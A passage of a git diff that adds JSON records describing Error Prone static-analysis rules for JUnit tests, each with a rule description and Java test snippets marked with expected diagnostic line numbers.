"expected-linenumbers": [ + 374 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import java.util.Collections;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Deprecated\n // BUG: Diagnostic contains: @Test\n public void testShouldDoSomething() {\n Collections.sort(Collections.emptyList());\n }\n\n private void verify() {}\n }" + }, + { + "description": "testShouldDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "" + }, + { + "description": "shouldNotDetectMethodsOnAbstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public abstract class Test {\n public void testDoSomething() {}\n }" + }, + { + "description": "fix", + "expected-problems": null, + "expected-linenumbers": [ + 415 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void testDoSomething() {}\n }\n \n\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n @Test\n public void testDoSomething() {}\n }" + }, + { + "description": "testDoSomething", + "expected-problems": null, + "expected-linenumbers": [ + 438 + ], + "code": "" + }, + { + "description": "ignoreFix", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void testDoSomething() {}\n }\n \n\n import org.junit.Ignore;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n @Test\n @Ignore\n public void testDoSomething() {}\n }" + }, + { + "description": "makePrivateFix", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void testDoSomething() {}\n }\n \n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n private void testDoSomething() {}\n }" + }, + { + "description": "makePrivateFix", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void testDoSomething() {}\n }\n \n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n private void testDoSomething() {}\n }" + }, + { + "description": "ignoreFixComesFirstWhenTestNamedDisabled", + "expected-problems": null, + "expected-linenumbers": [ + 508 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void disabledTestDoSomething() {\n verify();\n }\n\n void verify() {}\n }\n \n\n import org.junit.Ignore;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n @Test\n @Ignore\n public void disabledTestDoSomething() {\n verify();\n }\n\n void verify() {}\n }" + }, + { + "description": "helperMethodCalledElsewhere", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Test;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void shouldDoSomething() {\n verify();\n }\n\n @Test\n public void testDoesSomething() {\n shouldDoSomething();\n }\n\n void verify() {}\n }" + }, + { + "description": "helperMethodCalledElsewhere", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Test;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void shouldDoSomething() {\n verify();\n }\n\n @Test\n public void testDoesSomething() {\n shouldDoSomething();\n }\n\n void verify() {}\n }" + }, + { + "description": "testDoesSomething", + "expected-problems": null, + "expected-linenumbers": [ + 565 + ], + "code": "" + }, + { + "description": "helperMethodUsedViaMemberReference", + "expected-problems": null, + "expected-linenumbers": [ + 576 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Test;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void shouldDoSomething() {\n verify();\n }\n\n @Test\n public void testDoesSomething() {\n Runnable r = this::shouldDoSomething;\n }\n\n void verify() {}\n }" + }, + { + "description": "testDoesSomething", + "expected-problems": null, + "expected-linenumbers": [ + 592 + ], + "code": "" + }, + { + "description": "helperMethodCallFoundInNestedInvocation", + "expected-problems": null, + "expected-linenumbers": [ + 603 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.Test;\n import java.util.function.Consumer;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n public void shouldDoSomething() {\n verify();\n }\n\n @Test\n public void testDoesSomething() {\n doSomething(u -> shouldDoSomething());\n }\n\n void doSomething(Consumer f) {}\n\n void verify() {}\n }" + }, + { + "description": "testDoesSomething", + "expected-problems": null, + "expected-linenumbers": [ + 620 + ], + "code": "" + }, + { + "description": "runWithNotRequired", + "expected-problems": null, + "expected-linenumbers": [ + 633 + ], + "code": "import org.junit.Test;\n\n public class TestStuff {\n // BUG: Diagnostic contains: @Test\n public void testDoesSomething() {}\n\n @Test\n public void foo() {}\n }" + }, + { + "description": "testDoesSomething", + "expected-problems": null, + "expected-linenumbers": [ + 642 + ], + "code": "" + }, + { + "description": "foo", + "expected-problems": null, + "expected-linenumbers": [ + 645 + ], + "code": "" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 652 + ], + "code": "import org.junit.Test;\n\n public class TestStuff {\n @SuppressWarnings(\"JUnit4TestNotRun\")\n public void testDoesSomething() {}\n\n @Test\n public void foo() {}\n }" + }, + { + "description": "foo", + "expected-problems": null, + "expected-linenumbers": [ + 664 + ], + "code": "" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 671 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Not a JUnit 4 test (no @RunWith annotation on the class).\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class JUnit4TestNotRunNegativeCase1 {\n public void testThisIsATest() {}\n }\\" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 691 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.internal.runners.JUnit38ClassRunner;\n import org.junit.runner.RunWith;\n\n /**\n * Not a JUnit 4 test (run with a JUnit3 test runner).\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n @RunWith(JUnit38ClassRunner.class)\n public class JUnit4TestNotRunNegativeCase2 {\n public void testThisIsATest() {}\n }\\" + }, + { + "description": "negativeCase3", + "expected-problems": null, + "expected-linenumbers": [ + 715 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport org.junit.*;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n@RunWith(JUnit4.class)\npublic class JUnit4TestNotRunNegativeCase3 {\n // Isn't public.\n void testTest1() {}\n\n // Have checked annotation.\n @Test\n public void testTest2() {}\n\n @Before\n public void testBefore() {}\n\n @After\n public void testAfter() {}\n\n @BeforeClass\n public void testBeforeClass() {}\n\n @AfterClass\n public void testAfterClass() {}\n\n // Has parameters.\n public void testTest3(int foo) {}\n\n // Doesn't return void\n public int testSomething() {\n return 42;\n }\n}\\" + }, + { + "description": "testTest2", + "expected-problems": null, + "expected-linenumbers": [ + 736 + ], + "code": "" + }, + { + "description": "negativeCase4", + "expected-problems": null, + "expected-linenumbers": [ + 763 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport junit.framework.TestCase;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/**\n * May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n@RunWith(JUnit4.class)\npublic class JUnit4TestNotRunNegativeCase4 extends TestCase {\n public void testThisIsATest() {}\n}\\" + }, + { + "description": "negativeCase5", + "expected-problems": null, + "expected-linenumbers": [ + 788 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.junit.After;\n import org.junit.Before;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /**\n * Base class for test cases to extend.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n @RunWith(JUnit4.class)\n public class JUnit4TestNotRunBaseClass {\n @Before\n public void testSetUp() {}\n\n @After\n public void testTearDown() {}\n\n @Test\n public void testOverrideThis() {}\n }\\\n \n\npackage com.google.errorprone.bugpatterns.testdata;\n\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\n/**\n * Methods that override methods with @Test should not trigger an error (JUnit 4 will run them).\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n@RunWith(JUnit4.class)\npublic class JUnit4TestNotRunNegativeCase5 extends JUnit4TestNotRunBaseClass {\n @Override\n public void testSetUp() {}\n\n @Override\n public void testTearDown() {}\n\n @Override\n public void testOverrideThis() {}\n}\\" + }, + { + "description": "testOverrideThis", + "expected-problems": null, + "expected-linenumbers": [ + 815 + ], + "code": "" + }, + { + "description": "junit3TestWithIgnore", + "expected-problems": null, + "expected-linenumbers": [ + 847 + ], + "code": "import org.junit.Ignore;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n @Ignore\n public void testMethod() {}\n }" + }, + { + "description": "junit3TestWithIgnore", + "expected-problems": null, + "expected-linenumbers": [ + 847 + ], + "code": "import org.junit.Ignore;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestStuff {\n @Ignore\n public void testMethod() {}\n }" + }, + { + "description": "junit4Theory_isTestAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 866 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.experimental.theories.Theories;\n import org.junit.experimental.theories.Theory;\n\n @RunWith(Theories.class)\n public class TestTheories {\n @Theory\n public void testMyTheory() {}\n }" + }, + { + "description": "methodsWithParameters_areStillTests", + "expected-problems": null, + "expected-linenumbers": [ + 885 + ], + "code": "import static org.junit.Assert.fail;\n import org.junit.runner.RunWith;\n import org.junit.experimental.theories.Theories;\n import org.junit.experimental.theories.FromDataPoints;\n\n @RunWith(Theories.class)\n public class TestTheories {\n // BUG: Diagnostic contains:\n public void testMyTheory(@FromDataPoints(\"foo\") Object foo) {\n fail();\n }\n }" + }, + { + "description": "annotationOnSuperMethod", + "expected-problems": null, + "expected-linenumbers": [ + 907 + ], + "code": "import org.junit.Test;\n\n public class TestSuper {\n @Test\n public void testToOverride() {}\n }\n \n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class TestSub extends TestSuper {\n @Override\n public void testToOverride() {}\n }" + }, + { + "description": "testToOverride", + "expected-problems": null, + "expected-linenumbers": [ + 916 + ], + "code": "" + }, + { + "description": "underscoreInName_mustBeATest", + "expected-problems": null, + "expected-linenumbers": [ + 935 + ], + "code": "import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class T {\n // BUG: Diagnostic contains:\n public void givenFoo_thenBar() {}\n }" + }, + { + "description": "annotatedWithParameters_isATest", + "expected-problems": null, + "expected-linenumbers": [ + 954 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameters;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class T {\n @TestParameters(\"foo\")\n // BUG: Diagnostic contains:\n public void givenFooThenBar(String foo) {}\n }" + }, + { + "description": "enumParameter_couldWellBeATest", + "expected-problems": null, + "expected-linenumbers": [ + 974 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class T {\n enum E {\n A\n }\n\n // BUG: Diagnostic contains:\n public void givenFooThenBar(E e) {\n verify();\n }\n\n private void verify() {}\n }" + }, + { + "description": "enumParameter_couldWellBeATest", + "expected-problems": null, + "expected-linenumbers": [ + 974 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class T {\n enum E {\n A\n }\n\n // BUG: Diagnostic contains:\n public void givenFooThenBar(E e) {\n verify();\n }\n\n private void verify() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestsNotRunWithinEnclosed.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestsNotRunWithinEnclosed.json new file mode 100644 index 0000000..e9c824d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestsNotRunWithinEnclosed.json @@ -0,0 +1,102 @@ +{ + "name": "JUnit4TestsNotRunWithinEnclosed", + "language": "java", + "description": "This test is annotated @Test, but given it's within a class using the Enclosed runner, will not run.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "nonEnclosedRunner_testPresumedToRun", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class FooTest {\n @Test\n public void test() {}\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "" + }, + { + "description": "enclosingRunner_doesNotRunEnclosedTests", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import org.junit.Test;\n import org.junit.experimental.runners.Enclosed;\n import org.junit.runner.RunWith;\n\n @RunWith(Enclosed.class)\n public final class FooTest {\n @Test\n // BUG: Diagnostic contains:\n public void test() {}\n }" + }, + { + "description": "refactoring_changesToUseJunitRunner", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import org.junit.Test;\n import org.junit.experimental.runners.Enclosed;\n import org.junit.runner.RunWith;\n\n @RunWith(Enclosed.class)\n public final class FooTest {\n @Test\n public void test() {}\n }\n \n\n import org.junit.Test;\n import org.junit.experimental.runners.Enclosed;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class FooTest {\n @Test\n public void test() {}\n }" + }, + { + "description": "refactoring_changesToUseJunitRunner", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import org.junit.Test;\n import org.junit.experimental.runners.Enclosed;\n import org.junit.runner.RunWith;\n\n @RunWith(Enclosed.class)\n public final class FooTest {\n @Test\n public void test() {}\n }\n \n\n import org.junit.Test;\n import org.junit.experimental.runners.Enclosed;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class FooTest {\n @Test\n public void test() {}\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "" + }, + { + "description": "enclosingRunner_butWithClassExtended_doesRunTests", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import org.junit.experimental.runners.Enclosed;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n\n @RunWith(Enclosed.class)\n public class FooTest {\n @Test\n public void test() {}\n\n public class FooInnerTest extends FooTest {}\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "" + }, + { + "description": "enclosingRunner_withInnerClasses_runsTests", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import org.junit.experimental.runners.Enclosed;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n\n @RunWith(Enclosed.class)\n public class FooTest {\n public static class BarTest {\n @Test\n public void test() {}\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAmbiguousTestClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAmbiguousTestClass.json new file mode 100644 index 0000000..009091a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAmbiguousTestClass.json @@ -0,0 +1,54 @@ +{ + "name": "JUnitAmbiguousTestClass", + "language": "java", + "description": "Test class inherits from JUnit 3's TestCase but has JUnit 4 @Test or @RunWith annotations.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import org.junit.Test;\n import junit.framework.TestCase;\n\n // BUG: Diagnostic contains:\n public class Positive extends TestCase {\n @Test\n public void testCase() {}\n }" + }, + { + "description": "testCase", + "expected-problems": null, + "expected-linenumbers": [ + 42 + ], + "code": "" + }, + { + "description": "negativeNoExtends", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import org.junit.Test;\n\n public class Positive {\n @Test\n public void testCase() {}\n }" + }, + { + "description": "testCase", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "" + }, + { + "description": "negativeNoAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import junit.framework.TestCase;\n\n public class Positive extends TestCase {\n public void testCase() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAssertSameCheck.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAssertSameCheck.json new file mode 100644 index 0000000..daab582 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAssertSameCheck.json @@ -0,0 +1,30 @@ +{ + "name": "JUnitAssertSameCheck", + "language": "java", + "description": "An object is tested for reference equality to itself using JUnit library.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * Positive test cases for {@link JUnitAssertSameCheck} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\npublic class JUnitAssertSameCheckPositiveCase {\n\n public void test(Object obj) {\n // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit\n org.junit.Assert.assertSame(obj, obj);\n\n // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit\n org.junit.Assert.assertSame(\"message\", obj, obj);\n\n // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit\n junit.framework.Assert.assertSame(obj, obj);\n\n // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit\n junit.framework.Assert.assertSame(\"message\", obj, obj);\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Negative test cases for {@link JUnitAssertSameCheck} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class JUnitAssertSameCheckNegativeCases {\n\n public void test(Object obj1, Object obj2) {\n org.junit.Assert.assertSame(obj1, obj2);\n org.junit.Assert.assertSame(\"message\", obj1, obj2);\n junit.framework.Assert.assertSame(obj1, obj2);\n junit.framework.Assert.assertSame(\"message\", obj1, obj2);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitParameterMethodNotFound.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitParameterMethodNotFound.json new file mode 100644 index 0000000..5505ea0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitParameterMethodNotFound.json @@ -0,0 +1,198 @@ +{ + "name": "JUnitParameterMethodNotFound", + "language": "java", + "description": "The method for providing parameters was not found.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "negativeCase_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Arrays;\nimport java.util.Iterator;\nimport java.util.List;\nimport junitparams.JUnitParamsRunner;\nimport junitparams.Parameters;\nimport junitparams.naming.TestCaseName;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\n/** Negative cases for {@link com.google.errorprone.bugpatterns.JUnitParameterMethodNotFound} */\n@RunWith(JUnitParamsRunner.class)\npublic class JUnitParameterMethodNotFoundNegativeCase {\n\n private static final String METHOD = \"named1\";\n\n private static Object[] dataProvider() {\n return new Object[] {1};\n }\n\n private static Object[] dataProvider1() {\n return new Object[] {2};\n }\n\n @Test\n @Parameters(method = \"dataProvider, dataProvider1\")\n public void paramStaticProvider(int a) {}\n\n @Test\n @Parameters(source = Inner.class, method = \"dataProviderInner\")\n public void testSource(int a) {}\n\n @Test\n @Parameters({\"AAA,1\", \"BBB,2\"})\n public void paramsInAnnotation(String p1, Integer p2) {}\n\n @Test\n @Parameters({\"AAA|1\", \"BBB|2\"})\n public void paramsInAnnotationPipeSeparated(String p1, Integer p2) {}\n\n @Test\n @Parameters\n public void paramsInDefaultMethod(String p1, Integer p2) {}\n\n private Object parametersForParamsInDefaultMethod() {\n return new Object[] {new Object[] {\"AAA\", 1}, new Object[] {\"BBB\", 2}};\n }\n\n @Test\n @Parameters(method = METHOD)\n public void paramsInNamedMethod(String p1, Integer p2) {}\n\n private Object named1() {\n return new Object[] {\"AAA\", 1};\n }\n\n @Test\n @Parameters(method = \"named2,named3\")\n public void paramsInMultipleMethods(String p1, Integer p2) {}\n\n private Object named2() {\n return new Object[] {\"AAA\", 1};\n }\n\n private Object named3() {\n return new Object[] {\"BBB\", 2};\n }\n\n @Test\n @Parameters\n public void paramsInCollection(String p1) {}\n\n private List parametersForParamsInCollection() {\n return Arrays.asList(\"a\");\n }\n\n @Test\n @Parameters\n public void paramsInIterator(String p1) {}\n\n private Iterator parametersForParamsInIterator() {\n return Arrays.asList(\"a\").iterator();\n }\n\n @Test\n @Parameters\n public void paramsInIterableOfIterables(String p1, String p2) {}\n\n private List> parametersForParamsInIterableOfIterables() {\n return Arrays.asList(Arrays.asList(\"s01e01\", \"s01e02\"), Arrays.asList(\"s02e01\", \"s02e02\"));\n }\n\n @Test\n @Parameters(\n \"please\\\\\\\\, escape commas if you use it here and don't want your parameters to be split\")\n public void commasInParametersUsage(String phrase) {}\n\n @Test\n @Parameters({\"1,1\", \"2,2\", \"3,6\"})\n @TestCaseName(\"factorial({0}) = {1}\")\n public void customNamesForTestCase(int argument, int result) {}\n\n @Test\n @Parameters({\"value1, value2\", \"value3, value4\"})\n @TestCaseName(\"[{index}] {method}: {params}\")\n public void predefinedMacroForTestCaseNames(String param1, String param2) {}\n\n public Object mixedParameters() {\n boolean booleanValue = true;\n int[] primitiveArray = {1, 2, 3};\n String stringValue = \"Test\";\n String[] stringArray = {\"one\", \"two\", null};\n return new Object[] {new Object[] {booleanValue, primitiveArray, stringValue, stringArray}};\n }\n\n @Test\n @Parameters(method = \"mixedParameters\")\n @TestCaseName(\"{0}, {1}, {2}, {3}\")\n public void usageOfMultipleTypesOfParameters(\n boolean booleanValue, int[] primitiveArray, String stringValue, String[] stringArray) {}\n\n static class Inner {\n public Object dataProviderInner() {\n return new Object[] {1};\n }\n }\n}\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner {\n @Test\n @Parameters(method = \"named1\")\n public void paramStaticProvider() {}\n }\\" + }, + { + "description": "negativeCase_nonJUnitParamsRunner_noErrorsFound", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junitparams.Parameters;\n import org.junit.Test;\n import 